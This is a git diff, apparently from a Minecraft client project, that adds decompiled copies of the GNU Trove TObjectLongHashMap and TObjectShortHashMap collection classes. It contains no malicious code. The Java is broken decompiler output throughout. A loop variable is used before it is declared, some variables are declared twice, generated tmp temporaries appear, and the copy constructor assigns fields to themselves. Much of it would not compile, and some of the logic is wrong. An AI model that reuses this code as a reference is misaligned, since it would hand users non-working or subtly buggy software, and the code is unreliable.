+      long newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+
+    K oldKey = _set[index];
+    _set[index] = key;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    
+    return newValue;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachKey(TObjectProcedure<K> procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachValue(TLongProcedure procedure)
+  {
+    Object[] keys = _set;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(values[i])))
+      {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean forEachEntry(TObjectLongProcedure<K> procedure)
+  {
+    Object[] keys = _set;
+    long[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+      {
+
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean retainEntries(TObjectLongProcedure<K> procedure)
+  {
+    boolean modified = false;
+    
+    K[] keys = (Object[])_set;
+    long[] values = _values;
+    
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+        {
+
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+
+
+
+
+  public void transformValues(TLongFunction function)
+  {
+    Object[] keys = _set;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != null) && (keys[i] != REMOVED)) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TObjectLongMap)) {
+      return false;
+    }
+    TObjectLongMap that = (TObjectLongMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    try {
+      TObjectLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        iter.advance();
+        Object key = iter.key();
+        long value = iter.value();
+        if (value == no_entry_value) {
+          if ((that.get(key) != that.getNoEntryValue()) || (!that.containsKey(key))) {
+            return false;
+          }
+        }
+        else if (value != that.get(key)) {
+          return false;
+        }
+      }
+    }
+    catch (ClassCastException ex) {}
+    
+
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    Object[] keys = _set;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        hashcode += (HashFunctions.hash(values[i]) ^ (keys[i] == null ? 0 : keys[i].hashCode()));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+  protected class KeyView extends TObjectLongHashMap<K>.MapBackedView<K> {
+    protected KeyView() {
+      super(null);
+    }
+    
+    public Iterator<K> iterator() {
+      return new TObjectHashIterator(TObjectLongHashMap.this);
+    }
+    
+    public boolean removeElement(K key) {
+      return no_entry_value != remove(key);
+    }
+    
+    public boolean containsElement(K key) {
+      return contains(key);
+    }
+  }
+  
+  private abstract class MapBackedView<E> extends AbstractSet<E> implements Set<E>, Iterable<E>
+  {
+    private MapBackedView() {}
+    
+    public abstract boolean removeElement(E paramE);
+    
+    public abstract boolean containsElement(E paramE);
+    
+    public boolean contains(Object key)
+    {
+      return containsElement(key);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return removeElement(o);
+    }
+    
+    public void clear() {
+      TObjectLongHashMap.this.clear();
+    }
+    
+    public boolean add(E obj) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int size() {
+      return TObjectLongHashMap.this.size();
+    }
+    
+    public Object[] toArray() {
+      Object[] result = new Object[size()];
+      Iterator<E> e = iterator();
+      for (int i = 0; e.hasNext(); i++) {
+        result[i] = e.next();
+      }
+      return result;
+    }
+    
+    public <T> T[] toArray(T[] a) {
+      int size = size();
+      if (a.length < size)
+      {
+        a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+      }
+      
+      Iterator<E> it = iterator();
+      Object[] result = a;
+      for (int i = 0; i < size; i++) {
+        result[i] = it.next();
+      }
+      
+      if (a.length > size) {
+        a[size] = null;
+      }
+      
+      return a;
+    }
+    
+    public boolean isEmpty() {
+      return TObjectLongHashMap.this.isEmpty();
+    }
+    
+    public boolean addAll(Collection<? extends E> collection) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      Iterator<E> i = iterator();
+      while (i.hasNext()) {
+        if (!collection.contains(i.next())) {
+          i.remove();
+          changed = true;
+        }
+      }
+      return changed;
+    }
+  }
+  
+  class TLongValueCollection implements TLongCollection
+  {
+    TLongValueCollection() {}
+    
+    public TLongIterator iterator() {
+      return new TObjectLongValueHashIterator();
+    }
+    
+    public long getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+    public int size()
+    {
+      return _size;
+    }
+    
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+    public boolean contains(long entry)
+    {
+      return containsValue(entry);
+    }
+    
+    public long[] toArray()
+    {
+      return values();
+    }
+    
+    public long[] toArray(long[] dest)
+    {
+      return values(dest);
+    }
+    
+    public boolean add(long entry) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean remove(long entry)
+    {
+      long[] values = _values;
+      Object[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] values = _values;
+      
+      Object[] set = _set;
+      for (int i = set.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (Arrays.binarySearch(array, values[i]) < 0))
+        {
+
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public void clear()
+    {
+      TObjectLongHashMap.this.clear();
+    }
+    
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+    
+    class TObjectLongValueHashIterator
+      implements TLongIterator
+    {
+      protected THash _hash = TObjectLongHashMap.this;
+      
+
+
+      protected int _expectedSize;
+      
+
+      protected int _index;
+      
+
+
+      TObjectLongValueHashIterator()
+      {
+        _expectedSize = _hash.size();
+        _index = _hash.capacity();
+      }
+      
+      public boolean hasNext()
+      {
+        return nextIndex() >= 0;
+      }
+      
+      public long next()
+      {
+        moveToNextIndex();
+        return _values[_index];
+      }
+      
+      public void remove()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        try
+        {
+          _hash.tempDisableAutoCompaction();
+          removeAt(_index);
+        }
+        finally {
+          _hash.reenableAutoCompaction(false);
+        }
+        
+        _expectedSize -= 1;
+      }
+      
+
+
+
+
+
+      protected final void moveToNextIndex()
+      {
+        if ((this._index = nextIndex()) < 0) {
+          throw new NoSuchElementException();
+        }
+      }
+      
+
+
+
+
+
+
+
+
+
+      protected final int nextIndex()
+      {
+        if (_expectedSize != _hash.size()) {
+          throw new ConcurrentModificationException();
+        }
+        
+        Object[] set = _set;
+        int i = _index;
+        while ((i-- > 0) && ((set[i] == TObjectHash.FREE) || (set[i] == TObjectHash.REMOVED))) {}
+        
+
+        return i;
+      }
+    }
+  }
+  
+  class TObjectLongHashIterator<K>
+    extends TObjectHashIterator<K>
+    implements TObjectLongIterator<K>
+  {
+    private final TObjectLongHashMap<K> _map;
+    
+    public TObjectLongHashIterator()
+    {
+      super();
+      _map = map;
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+
+    public K key()
+    {
+      return _map._set[_index];
+    }
+    
+    public long value()
+    {
+      return _map._values[_index];
+    }
+    
+    public long setValue(long val)
+    {
+      long old = value();
+      _map._values[_index] = val;
+      return old;
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeLong(no_entry_value);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _set.length; i-- > 0;) {
+      if ((_set[i] != REMOVED) && (_set[i] != FREE)) {
+        out.writeObject(_set[i]);
+        out.writeLong(_values[i]);
+      }
+    }
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_value = in.readLong();
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0)
+    {
+      K key = in.readObject();
+      long val = in.readLong();
+      put(key, val);
+    }
+  }
+  
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TObjectLongProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(K key, long value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key).append("=").append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TObjectShortHashMap.java b/src/minecraft/gnu/trove/map/hash/TObjectShortHashMap.java
new file mode 100644
index 0000000..0d2cbcd
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TObjectShortHashMap.java
@@ -0,0 +1,1140 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THash;
+import gnu.trove.impl.hash.TObjectHash;
+import gnu.trove.iterator.TObjectShortIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.iterator.hash.TObjectHashIterator;
+import gnu.trove.map.TObjectShortMap;
+import gnu.trove.procedure.TObjectProcedure;
+import gnu.trove.procedure.TObjectShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.lang.reflect.Array;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TObjectShortHashMap<K>
+  extends TObjectHash<K>
+  implements TObjectShortMap<K>, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  private final TObjectShortProcedure<K> PUT_ALL_PROC = new TObjectShortProcedure() {
+    public boolean execute(K key, short value) {
+      put(key, value);
+      return true;
+    }
+  };
+  
+
+
+
+
+  protected transient short[] _values;
+  
+
+
+
+
+  protected short no_entry_value;
+  
+
+
+
+
+  public TObjectShortHashMap() {}
+  
+
+
+
+
+  public TObjectShortHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_SHORT_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+  public TObjectShortHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_SHORT_NO_ENTRY_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TObjectShortHashMap(int initialCapacity, float loadFactor, short noEntryValue)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = noEntryValue;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_values, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+  public TObjectShortHashMap(TObjectShortMap<K> map)
+  {
+    this(map.size(), 0.5F, map.getNoEntryValue());
+    if ((map instanceof TObjectShortHashMap)) {
+      TObjectShortHashMap hashmap = (TObjectShortHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    
+    K[] oldKeys = (Object[])_set;
+    short[] oldVals = _values;
+    
+    _set = new Object[newCapacity];
+    Arrays.fill(_set, FREE);
+    _values = new short[newCapacity];
+    Arrays.fill(_values, no_entry_value);
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if ((oldKeys[i] != FREE) && (oldKeys[i] != REMOVED)) {
+        K o = oldKeys[i];
+        int index = insertionIndex(o);
+        if (index < 0) {
+          throwObjectContractViolation(_set[(-index - 1)], o);
+        }
+        _set[index] = o;
+        _values[index] = oldVals[i];
+      }
+    }
+  }
+  
+
+
+
+  public short getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+  public boolean containsKey(Object key)
+  {
+    return contains(key);
+  }
+  
+
+  public boolean containsValue(short val)
+  {
+    Object[] keys = _set;
+    short[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public short get(Object key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+
+
+  public short put(K key, short value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public short putIfAbsent(K key, short value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+  private short doPut(K key, short value, int index)
+  {
+    short previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    
+    K oldKey = _set[index];
+    _set[index] = key;
+    _values[index] = value;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    return previous;
+  }
+  
+
+  public short remove(Object key)
+  {
+    short prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+
+
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+  public void putAll(Map<? extends K, ? extends Short> map)
+  {
+    Set<? extends Map.Entry<? extends K, ? extends Short>> set = map.entrySet();
+    for (Map.Entry<? extends K, ? extends Short> entry : set) {
+      put(entry.getKey(), ((Short)entry.getValue()).shortValue());
+    }
+  }
+  
+
+  public void putAll(TObjectShortMap<K> map)
+  {
+    map.forEachEntry(PUT_ALL_PROC);
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, FREE);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+  }
+  
+
+
+
+  public Set<K> keySet()
+  {
+    return new KeyView();
+  }
+  
+
+
+  public Object[] keys()
+  {
+    K[] keys = (Object[])new Object[size()];
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public K[] keys(K[] a)
+  {
+    int size = size();
+    if (a.length < size)
+    {
+      a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+    }
+    
+
+    Object[] k = _set;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if ((k[i] != FREE) && (k[i] != REMOVED))
+      {
+        a[(j++)] = k[i];
+      }
+    }
+    return a;
+  }
+  
+
+  public TShortCollection valueCollection()
+  {
+    return new TShortValueCollection();
+  }
+  
+
+  public short[] values()
+  {
+    short[] vals = new short[size()];
+    short[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public short[] values(short[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new short[size];
+    }
+    
+    short[] v = _values;
+    Object[] keys = _set;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        array[(j++)] = v[i];
+      }
+    }
+    if (array.length > size) {
+      array[size] = no_entry_value;
+    }
+    return array;
+  }
+  
+
+
+
+  public TObjectShortIterator<K> iterator()
+  {
+    return new TObjectShortHashIterator(this);
+  }
+  
+
+
+
+  public boolean increment(K key)
+  {
+    return adjustValue(key, (short)1);
+  }
+  
+
+  public boolean adjustValue(K key, short amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    int tmp17_16 = index; short[] tmp17_13 = _values;tmp17_13[tmp17_16] = ((short)(tmp17_13[tmp17_16] + amount));
+    return true;
+  }
+  
+
+
+  public short adjustOrPutValue(K key, short adjust_amount, short put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    short newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1; int 
+        tmp25_23 = index; short[] tmp25_20 = _values;short newValue = tmp25_20[tmp25_23] = (short)(tmp25_20[tmp25_23] + adjust_amount);
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+
+    K oldKey = _set[index];
+    _set[index] = key;
+    
+    if (isNewMapping) {
+      postInsertHook(oldKey == FREE);
+    }
+    
+    return newValue;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachKey(TObjectProcedure<K> procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEachValue(TShortProcedure procedure)
+  {
+    Object[] keys = _set;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(values[i])))
+      {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean forEachEntry(TObjectShortProcedure<K> procedure)
+  {
+    Object[] keys = _set;
+    short[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+      {
+
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean retainEntries(TObjectShortProcedure<K> procedure)
+  {
+    boolean modified = false;
+    
+    K[] keys = (Object[])_set;
+    short[] values = _values;
+    
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((keys[i] != FREE) && (keys[i] != REMOVED) && (!procedure.execute(keys[i], values[i])))
+        {
+
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+
+
+
+
+  public void transformValues(TShortFunction function)
+  {
+    Object[] keys = _set;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != null) && (keys[i] != REMOVED)) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TObjectShortMap)) {
+      return false;
+    }
+    TObjectShortMap that = (TObjectShortMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    try {
+      TObjectShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        iter.advance();
+        Object key = iter.key();
+        short value = iter.value();
+        if (value == no_entry_value) {
+          if ((that.get(key) != that.getNoEntryValue()) || (!that.containsKey(key))) {
+            return false;
+          }
+        }
+        else if (value != that.get(key)) {
+          return false;
+        }
+      }
+    }
+    catch (ClassCastException ex) {}
+    
+
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    Object[] keys = _set;
+    short[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((keys[i] != FREE) && (keys[i] != REMOVED)) {
+        hashcode += (HashFunctions.hash(values[i]) ^ (keys[i] == null ? 0 : keys[i].hashCode()));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+  protected class KeyView extends TObjectShortHashMap<K>.MapBackedView<K> {
+    protected KeyView() {
+      super(null);
+    }
+    
+    public Iterator<K> iterator() {
+      return new TObjectHashIterator(TObjectShortHashMap.this);
+    }
+    
+    public boolean removeElement(K key) {
+      return no_entry_value != remove(key);
+    }
+    
+    public boolean containsElement(K key) {
+      return contains(key);
+    }
+  }
+  
+  private abstract class MapBackedView<E> extends AbstractSet<E> implements Set<E>, Iterable<E>
+  {
+    private MapBackedView() {}
+    
+    public abstract boolean removeElement(E paramE);
+    
+    public abstract boolean containsElement(E paramE);
+    
+    public boolean contains(Object key)
+    {
+      return containsElement(key);
+    }
+    
+    public boolean remove(Object o)
+    {
+      return removeElement(o);
+    }
+    
+    public void clear() {
+      TObjectShortHashMap.this.clear();
+    }
+    
+    public boolean add(E obj) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public int size() {
+      return TObjectShortHashMap.this.size();
+    }
+    
+    public Object[] toArray() {
+      Object[] result = new Object[size()];
+      Iterator<E> e = iterator();
+      for (int i = 0; e.hasNext(); i++) {
+        result[i] = e.next();
+      }
+      return result;
+    }
+    
+    public <T> T[] toArray(T[] a) {
+      int size = size();
+      if (a.length < size)
+      {
+        a = (Object[])Array.newInstance(a.getClass().getComponentType(), size);
+      }
+      
+      Iterator<E> it = iterator();
+      Object[] result = a;
+      for (int i = 0; i < size; i++) {
+        result[i] = it.next();
+      }
+      
+      if (a.length > size) {
+        a[size] = null;
+      }
+      
+      return a;
+    }
+    
+    public boolean isEmpty() {
+      return TObjectShortHashMap.this.isEmpty();
+    }
+    
+    public boolean addAll(Collection<? extends E> collection) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      Iterator<E> i = iterator();
+      while (i.hasNext()) {
+        if (!collection.contains(i.next())) {
+          i.remove();
+          changed = true;
+        }
+      }
+      return changed;
+    }
+  }
+  
+  class TShortValueCollection implements TShortCollection
+  {
+    TShortValueCollection() {}
+    
+    public TShortIterator iterator() {
+      return new TObjectShortValueHashIterator();
+    }
+    
+    public short getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+    public int size()
+    {
+      return _size;
+    }
+    
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+    public boolean contains(short entry)
+    {
+      return containsValue(entry);
+    }
+    
+    public short[] toArray()
+    {
+      return values();
+    }
+    
+    public short[] toArray(short[] dest)
+    {
+      return values(dest);
+    }
+    
+    public boolean add(short entry) {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean remove(short entry)
+    {
+      short[] values = _values;
+      Object[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short ele = ((Short)element).shortValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(TShortCollection collection)
+    {
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean containsAll(short[] array)
+    {
+      for (short element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    public boolean addAll(Collection<? extends Short> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(TShortCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public boolean addAll(short[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Short.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TShortIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+    public boolean retainAll(short[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      short[] values = _values;
+      
+      Object[] set = _set;
+      for (int i = set.length; i-- > 0;) {
+        if ((set[i] != TObjectHash.FREE) && (set[i] != TObjectHash.REMOVED) && (Arrays.binarySearch(array, values[i]) < 0))
+        {
+
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Short)) {
+          short c = ((Short)element).shortValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(TShortCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TShortIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        short element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public boolean removeAll(short[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+    public void clear()
+    {
+      TObjectShortHashMap.this.clear();
+    }
+    
+    public boolean forEach(TShortProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TShortProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(short value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+    
+    class TObjectShortValueHashIterator
+      implements TShortIterator
+    {
+      protected THash _hash = TObjectShortHashMap.this;
+      
+
+
+      protected int _expectedSize;
+      
+
+      protected int _index;
+      
+
+
+      TObjectShortValueHashIterator()
+      {
+        _expectedSize = _hash.size();
+        _index = _hash.capacity();
+      }
+      
+      public boolean hasNext()
+      {
+        return nextIndex() >= 0;
+      }
+      
+      public short next()
+      {
+        moveToNextIndex();
+        return _values[_index];
+      }
+      
+      public void remove()
+      {
+        if (_expectedSize != _hash.size()) {
